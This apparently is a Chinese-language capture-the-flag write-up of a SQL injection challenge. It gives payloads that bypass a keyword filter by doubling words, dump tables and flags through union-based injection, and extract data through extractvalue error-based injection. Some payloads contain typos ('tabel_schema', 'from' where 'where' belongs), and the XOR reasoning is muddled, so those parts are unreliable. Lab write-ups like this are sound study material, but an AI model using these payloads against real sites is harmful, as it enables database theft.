打开链接
首先对id尝试注入单引号和双引号,发现都报错
继续测试,发现下面结果:
?id=1' --+ (显示成功)
?id=1" --+ (显示成功)
?id=1' and 1=1 --+ (显示报错)
?id=1" and 1=1 --+ (显示成功)
猜测sql语句使用的是单引号,且对and继续过滤
使用下面代码验证
?id=1'^(length('and')!=0)^' (显示成功)
^
是求异或符,计算得length('and')!=0
为0,说明and确实被过滤
尝试双写绕过
?id=1' anandd 1=1 --+ (显示成功)
说明双写能成功绕过
下面使用union联合注入
?id=-1' ununionion seselectlect 1,2--+ (确定回显位置)
?id=-1' ununionion seselectlect 1, database() --+
?id=-1' ununionion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where tabel_schema=database()--+
?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
?id=-1' ununionion sselectelect 1,group_concat(flag1,':',address) from flag1--+
得到下一关地址/once_more.php
打开链接
对id尝试单引号注入,发现开启了报错回显,且sql语句使用单引号
因此使用报错注入
?id=1' and extractvalue(1,concat('~',(select database()))) %23
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables from table_schema=database()))) %23
?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag2'))) %23
?id=1' and extractvalue(1,concat('~',(select group_concat(flag2) from flag2))) %23